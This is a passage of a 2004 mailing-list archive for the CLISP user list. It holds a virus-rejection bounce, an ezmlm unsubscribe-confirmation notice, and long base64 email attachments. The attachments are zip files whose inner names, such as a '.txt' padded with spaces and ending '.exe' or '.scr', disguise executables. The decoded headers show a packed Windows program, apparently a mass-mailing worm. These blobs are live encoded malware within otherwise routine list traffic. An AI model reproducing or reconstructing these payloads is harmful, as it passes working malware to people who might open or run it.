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 AACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8A AACIiIgAAAAACId3d3iAAAB4//+Ih3AAAHj3j///eAAAeP////94AAB493d4/3gAAHj/////eAAA ePd3eP94AAB4/////3gAAHj3d4//eAAAeP////94AAB4/////3gAAHh/f39/eAAAh3OHh4eAAAAH szt7d4AAAAAAAACAAADwPwAA4AcAAMAHAADAAwAAwAMAAMADAADAAwAAwAMAAMADAADAAwAAwAMA AMADAADAAwAAwAcAAOAHAAD/3wAA2JEAAAAAAQABABAQEAABAAQAKAEAAAEAAAAAAAAAAAAAAAAA kMIAAGDCAAAAAAAAAAAAAAAAAACdwgAAcMIAAAAAAAAAAAAAAAAAAKrCAAB4wgAAAAAAAAAAAAAA AAAAtcIAAIDCAAAAAAAAAAAAAAAAAADAwgAAiMIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAysIAANjC AADowgAAAAAAAPbCAAAAAAAABMMAAAAAAAAMwwAAAAAAAHMAAIAAAAAAS0VSTkVMMzIuRExMAEFE VkFQSTMyLmRsbABNU1ZDUlQuZGxsAFVTRVIzMi5kbGwAV1MyXzMyLmRsbAAATG9hZExpYnJhcnlB AABHZXRQcm9jQWRkcmVzcwAARXhpdFByb2Nlc3MAAABSZWdDbG9zZUtleQAAAG1lbXNldAAAd3Nw cmludGZBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAABQSwECFAAKAAAAAABHAjswyicfngBYAAAAWAAAUgAAAAAAAAAAACAAAAAAAAAA ZGF0YS50eHQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgLnNjclBLBQYAAAAAAQABAIAAAABwWAAAAAA= ------=_NextPart_000_0005_22D82E39.F32F284A-- From root@lavoisier.fr Tue Jan 27 03:56:46 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AlRpe-0001Nw-Vd for clisp-list@lists.sourceforge.net; Tue, 27 Jan 2004 03:56:38 -0800 Received: from laplace.lavoisier.fr ([195.6.198.250]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AlRpe-00033G-BW for clisp-list@lists.sourceforge.net; Tue, 27 Jan 2004 03:56:38 -0800 Received: from root by laplace.lavoisier.fr with local (Exim 3.35 #1 (Debian)) id 1AlRlm-0003k3-00; Tue, 27 Jan 2004 12:52:38 +0100 To: clisp-list@lists.sourceforge.net Message-Id: From: root X-Scanner: exiscan *1AlRlm-0003k3-00*CuKn7mBQw/.* http://duncanthrax.net/exiscan/ X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Virus / harmful content found in EMail Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jan 27 04:00:05 2004 X-Original-Date: Tue, 27 Jan 2004 12:52:38 +0100 Your EMail with subject 'Hello', sent to the recipient(s) catalogue.hermes@lavoisier.fr contains a virus or other harmful content. The message has NOT been delivered to the recipients. Please contact the postmaster (mailto:virus@lavoisier.fr) to resolve this issue. -- Message generated by exiscan 1.00 http://duncanthrax.net/exiscan/ From zsh-announce-return-@sunsite.dk Tue Jan 27 05:43:15 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AlTUi-0002z7-Ra for clisp-list@lists.sourceforge.net; Tue, 27 Jan 2004 05:43:08 -0800 Received: from sunsite.dk ([130.225.247.90]) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.30) id 1AlTUh-0008Ms-EQ for clisp-list@lists.sourceforge.net; Tue, 27 Jan 2004 05:43:07 -0800 Received: (qmail 183 invoked by alias); 27 Jan 2004 13:43:06 -0000 Mailing-List: contact zsh-announce-help@sunsite.dk; run by ezmlm Message-ID: <1075210986.180.ezmlm@sunsite.dk> From: zsh-announce-help@sunsite.dk To: clisp-list@lists.sourceforge.net Delivered-To: responder for zsh-announce@sunsite.dk Received: (qmail 132 invoked from network); 27 Jan 2004 13:43:05 -0000 Received: from localhost (HELO sunsite.dk) (127.0.0.1) by localhost with SMTP; 27 Jan 2004 13:43:05 -0000 Received: from [216.181.42.97] by sunsite.dk (MessageWall 1.0.8) with SMTP; 27 Jan 2004 13:43:3 -0000 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Reply-To: zsh-announce-uc.1075210986.fnonlneccmaaicaphfka-clisp-list=lists.sourceforge.net@sunsite.dk X-Spam-Score: 2.9 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 NO_REAL_NAME From: does not include a real name 1.6 LARGE_HEX BODY: Contains a large block of hexadecimal code 0.8 MSGID_FROM_MTA_HEADER Message-Id was added by a relay 0.3 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] confirm unsubscribe from zsh-announce@sunsite.dk Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jan 27 05:55:53 2004 X-Original-Date: 27 Jan 2004 13:43:06 -0000 Hi! This is the ezmlm program. I'm managing the zsh-announce@sunsite.dk mailing list. To confirm that you would like clisp-list@lists.sourceforge.net removed from the zsh-announce mailing list, please send an empty reply to this address: zsh-announce-uc.1075210986.fnonlneccmaaicaphfka-clisp-list=lists.sourceforge.net@sunsite.dk Usually, this happens when you just hit the "reply" button. If this does not work, simply copy the address and paste it into the "To:" field of a new message. I haven't checked whether your address is currently on the mailing list. To see what address you used to subscribe, look at the messages you are receiving from the mailing list. Each message has your address hidden inside its return path; for example, mary@xdd.ff.com receives messages with return path: -mary=xdd.ff.com@sunsite.dk. --- Administrative commands for the zsh-announce list --- I can handle administrative requests automatically. Please DO NOT SEND THEM TO THE LIST ADDRESS! If you do, I will not see them and other subscribers will be annoyed. Instead, send your message to the correct command address: To subscribe to the list, send a message to: To remove your address from the list, send a message to: Send mail to the following for info and FAQ for this list: Similar addresses exist for the digest list: To get messages 123 through 145 (a maximum of 100 per request), mail: To get an index with subject and author for messages 123-456 , mail: They are always returned as sets of 100, max 2000 per request, so you'll actually get 100-499. To receive all messages with the same subject as message 12345, send an empty message to: The messages do not really need to be empty, but I will ignore their content. Only the ADDRESS you send to is important. You can start a subscription for an alternate address, for example "john@host.domain", just add a hyphen and your address (with '=' instead of '@') after the command word: To stop subscription for this address, mail: In both cases, I'll send a confirmation message to that address. When you receive it, simply reply to it to complete your subscription. If despite following these instructions, you do not get the desired results, please contact my owner at zsh-announce-owner@sunsite.dk. Please be patient, my owner is a lot slower than I am ;-) --- Enclosed is a copy of the request I received. Return-Path: Received: (qmail 132 invoked from network); 27 Jan 2004 13:43:05 -0000 Received: from localhost (HELO sunsite.dk) (127.0.0.1) by localhost with SMTP; 27 Jan 2004 13:43:05 -0000 X-MessageWall-Score: 0 (sunsite.dk) Received: from [216.181.42.97] by sunsite.dk (MessageWall 1.0.8) with SMTP; 27 Jan 2004 13:43:3 -0000 From: clisp-list@lists.sourceforge.net To: zsh-announce-unsubscribe@sunsite.dk Subject: Status Date: Tue, 27 Jan 2004 08:42:59 -0500 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0013_10681948.DEF5D9B7" X-Priority: 3 X-MSMail-Priority: Normal ------=_NextPart_000_0013_10681948.DEF5D9B7 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit test ------=_NextPart_000_0013_10681948.DEF5D9B7 Content-Type: application/octet-stream; name="yonnpqj.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="yonnpqj.zip" UEsDBAoAAAAAAF1tOzDKJx+eAFgAAABYAABVAAAAeW9ubnBxai50eHQgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLmV4 ZU1akAADAAAABAAAAP//AAC4AAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAKgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFBF AABMAQMAAAAAAAAAAAAAAAAA4AAPAQsBBwAAUAAAABAAAABgAABgvgAAAHAAAADAAAAAAEoAABAA AAACAAAEAAAAAAAAAAQAAAAAAAAAANAAAAAQAAAAAAAAAgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAA EAAAAAAAAAAAAAAA6MEAADABAAAAwAAA6AEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAVVBYMAAAAAAAYAAAABAAAAAAAAAABAAAAAAAAAAAAAAAAAAAgAAA 4FVQWDEAAAAAAFAAAABwAAAAUAAAAAQAAAAAAAAAAAAAAAAAAEAAAOAucnNyYwAAAAAQAAAAwAAA AAQAAABUAAAAAAAAAAAAAAAAAABAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAADEuMjQAVVBYIQwJAglIfomP1DYcgSmWAABTTgAAAIAAACYBAMXu hwKSAFAmSgBAA/2yaZosEAT0JegBAEvOaZpu2R/IKsADuLCopmmapqCYkIiAmqZpmnhwaGBYUM1g n2lIAEQHODA0TdN0AygkHBgQ0yy71wgjA/gp8OhN0zRN4NjQyLy0NE3TNKyknJSMzjZN04h8cGgp b1ym6ZrBB1RMA0Q4mqZpmiwkHBQMBGmazm38KH8D9OzkpmmaptzUzMi8mqZpmrSspKCYkGebpmmM gHhwKHto3mzTdQdcA1RMKP/7C3a2++NADzQo9ywvA5qmGfkkKEocFAwEaZrO7Jv8JwPs6OCmaZqm 2NTMyMCapmm6uCewrKigmGmapmmUjIiEfKRpmqZ0bGRcVGmaphtMA0RAODCmaZqmKCAYEAiapnOb APgmzwPo4Nhnm85tVDRDA0A0NNuK/////51a0Nrl9AYfM05sck7YApdfksgBPXy+Q0uW5DWJ4DqX //////dawCmVBHbrY95c3WHocv+PIrhR7Ywu03sm1A058Kpn/////yfqsHlFFOa7k25MLRH44s+/ sqihnZyeo6u2xNXpABo3/////1d6oMn1JFaLw/48fcEIUp/vQpjxTawOc9tGtCWZEIoH/////4cK kBmlpaj+8sPSqPgSLEprj7bgDT1wpt8bWnzhJ1XJ/////xJgvhhl1TieF3PiVIlBvJrjP8ZQjW0A lk/LagyxQ3qy/////3MXzohHBciKVyPyxJlxTC4L79bArZ2Qhg97enyRiZSi/////7PH3voVNVh+ p8MCNHmh3Bpbj+Ywbc0gds8rivxRuSSS/////wN37mjlZehul4ODdoyVobDC1+8KKEltlL7rG06E vfk4/////3q/B1Kg8UVsllOzGnzlUcAypx+aGJkdpC67S950DalI/////+qPN+KQQfWsZiPjpmw1 AdCid08qCOnNtJ6Le25kXVlY/////1pfZ3KAkaW81vMTNlyFseASR3+6+Dl9xA5bq/5UrQk9//// /5p3pwJw4VXMBsNDxlzVYWFkanN/jKC1zegGJ0tynMn5/////yxim1cWWH2wYCb+I3rUMZHkWsMv zhCF/XT2d/uADJkp/////7xS64cmyG0VwG4fk4pE4ZTUEiHfroBVLRjmx6vyfGlZ/////05COzc4 OD1FUF5vg5q00fEUOmPPvvDlbLbkI1v3vGGo/////9A7ie5zPGP4meDFS5EXoSHeIrM/P1RIUXtv ftbP2W6V/9/+/ykDI+mUCb/m86VBEKZ8MmlrgCELLcdO0hCCbPn/////c6d33hSHBwf7UqoBYcAs m/cmlt2XnSJgD0aezf0sQH//////k7LS8QkgWHZoY11QUlFTamR3ASzF71QwvFcRPM6dV27///// IOOtYNrRUhXOZl+3QcAU5GWTn3j+cg2852qVe3sTdnb/////fRwNLfL29LDx0ed5+t1MZaP/J2yM 3QvbjBupvXWHO0//////2xSCQhQJRcyCD/pitylz+xWD5x6TfrQkaSn/vSjL6k7//+3/dw46sL/3 VNTsc5gBTQad8qKvwmLz5V433wVxUv////8H+BtAflQ+p6lPLAJ9MMjnBtJUKhprTAGdBPZq+h3H Bv+F///4HZAEq5YABgYQK++Z1E7/F3gLk8b4dSGMpP////9f/8xya+tv/qX97NBByXiR2cSsJsfo 4Km3Gl1v7CkQo/////+88+31b1EhNY3WUxxIKRjjt1w/nbjN0FJV47VD6r5n4/////+goDLizkk6 JC8wCo+uhOF1QKFimLL1MErg4/+RgcEnB/////93iGePVLOFCOL+gkWrYY502rsqOK7wStQYnBeK SMK1vP////+e+x9W5m6Q4DtHs6Aat9KqvMT3k0imAcAE/wYSi12p2P////+9lDH4H+haYz7f1grK QtUMXmBJcvX0rvRTF/wWFfKOmv////9zcDyCseKON1tTFqInlFRYrLE1Nz6qdWWVIW7rGoSBav// ///mChg/OpWfgYLjc6RHPQkC1i6IwqfVP4pc6p9WO189Sv/S///DeV9DCbjwq5rOHrKF2UvB1Dte z9/2R/lK9//////Y+y20imdi/1itEYwi91vLWN+F/KzgZdrrl5TiYAjvP/////884+x/EI5gft1N 